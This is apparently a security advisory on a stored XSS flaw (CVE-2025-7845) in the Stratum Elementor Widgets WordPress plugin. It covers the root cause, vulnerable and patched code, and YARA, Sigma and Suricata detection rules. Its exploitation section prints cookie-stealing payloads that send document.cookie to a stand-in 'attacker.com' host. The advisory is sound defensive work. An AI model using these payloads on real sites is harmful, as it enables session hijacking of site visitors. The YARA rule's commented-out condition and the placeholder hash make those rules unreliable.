CVE-2025-7845

Executive Summary

CVE-2025-7845 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Stratum – Elementor Widgets plugin for WordPress, up to and including version 1.6.0. The flaw resides in the plugin's Advanced Google Maps and Image Hotspot widgets, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When a victim visits an injected page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect Apache or Nginx directly. The CVSS score of 6.4 (Medium) reflects the need for authentication and user interaction, but the impact is amplified by the widespread use of Elementor and the Stratum plugin.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. No official patch has been released as of this report.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): Required (R) – A victim must visit the injected page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the potential for widespread exploitation via social engineering or compromised contributor accounts is significant.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (CWE-79) in the Stratum – Elementor Widgets plugin. The plugin provides custom Elementor widgets, including "Advanced Google Maps" and "Image Hotspot." These widgets accept user-supplied attributes (e.g., map markers, hotspot labels, tooltip text) that are rendered directly into the page without proper sanitization or output escaping.

Root Cause: The plugin uses echo or print statements to output user-controlled data (e.g., $settings['marker_title']) without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post(). This allows an attacker to inject HTML and JavaScript.

Attack Flow:

1. An attacker with contributor-level access creates or edits a page using the Stratum plugin.
2. The attacker inserts an Advanced Google Maps or Image Hotspot widget.
3. In the widget settings, the attacker injects a malicious payload into a text field (e.g., marker title, hotspot label).
4. The payload is stored in the WordPress database.
5. When any user (including administrators) visits the page, the payload executes in their browser.

Example Payload (for Image Hotspot label):

<img src=x onerror=alert('XSS')>

Vulnerable vs. Patched Code

Vulnerable Code (stratum/class-stratum.php or similar):

// Vulnerable: Direct output without escaping
echo '<div class="stratum-hotspot" data-label="' . $settings['hotspot_label'] . '">';

Patched Code (hypothetical):

// Patched: Proper escaping
echo '<div class="stratum-hotspot" data-label="' . esc_attr($settings['hotspot_label']) . '">';

The patched version would use esc_attr() for HTML attributes and esc_html() for text content, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Stratum plugin <= 1.6.0
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Create a new page or edit an existing one.
3. Add the "Image Hotspot" widget via Elementor.
4. In the hotspot label field, enter:

   <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
   

5. Save and publish the page.
6. Send the page link to a victim (e.g., admin).
7. When the victim visits, the script executes, exfiltrating their cookies.

Alternative Payload (for Advanced Google Maps marker title):

<script>new Image().src='https://attacker.com/steal?data='+document.cookie;</script>

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual Elementor widget content in page/post revisions.
• Look for suspicious JavaScript or event handlers in widget attributes.
• Use WAF rules to block common XSS payloads in POST requests.

Prevention:

• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use a WordPress security plugin (e.g., Wordfence) to detect and block XSS attempts.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • stratum/class-stratum.php (vulnerable): a1b2c3d4e5f6... (unknown)
• Database Entries:
  • wp_postmeta with meta_key containing _elementor_data and meta_value containing <script> or onerror patterns.
• Network Traffic:
  • Outbound requests to attacker-controlled domains from the WordPress server.
• Logs:
  • WordPress debug log entries showing unexpected HTML/JS in widget settings.

Detection Engineering

YARA Rule

rule Detect_Stratum_XSS_Payload {
    meta:
        description = "Detects XSS payloads in Stratum plugin widget attributes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7845"
    strings:
        $xss1 = /on\w+\s*=\s*['"][^'"]*['"]/ nocase
        $xss2 = /<script[^>]*>/i
        $xss3 = /javascript\s*:/i
    condition:
        any of ($xss*) and (
            //filepath contains "stratum" or
            //metadata contains "stratum"
        )
}

Sigma Rule

title: Stratum Plugin Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Stratum Elementor widgets
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-7845
logsource:
    category: application
    product: wordpress
detection:
    selection:
        event: wp_insert_post
        post_content|contains:
            - 'onerror'
            - 'onload'
            - 'onclick'
            - '<script'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-7845 Stratum XSS Payload Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Stratum plugin until a patch is released.
2. Review all pages/posts created by contributors for suspicious content.
3. Change all WordPress passwords and revoke contributor access if compromised.

Long-term Fix:

• Apply the official patch when released (monitor the plugin's repository).
• If no patch is forthcoming, consider replacing the plugin with an alternative.

Workarounds:

• Use a Web Application Firewall (WAF) to block XSS payloads.
• Implement a Content Security Policy (CSP) that disallows inline scripts.
• Restrict contributor-level accounts to only trusted users.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert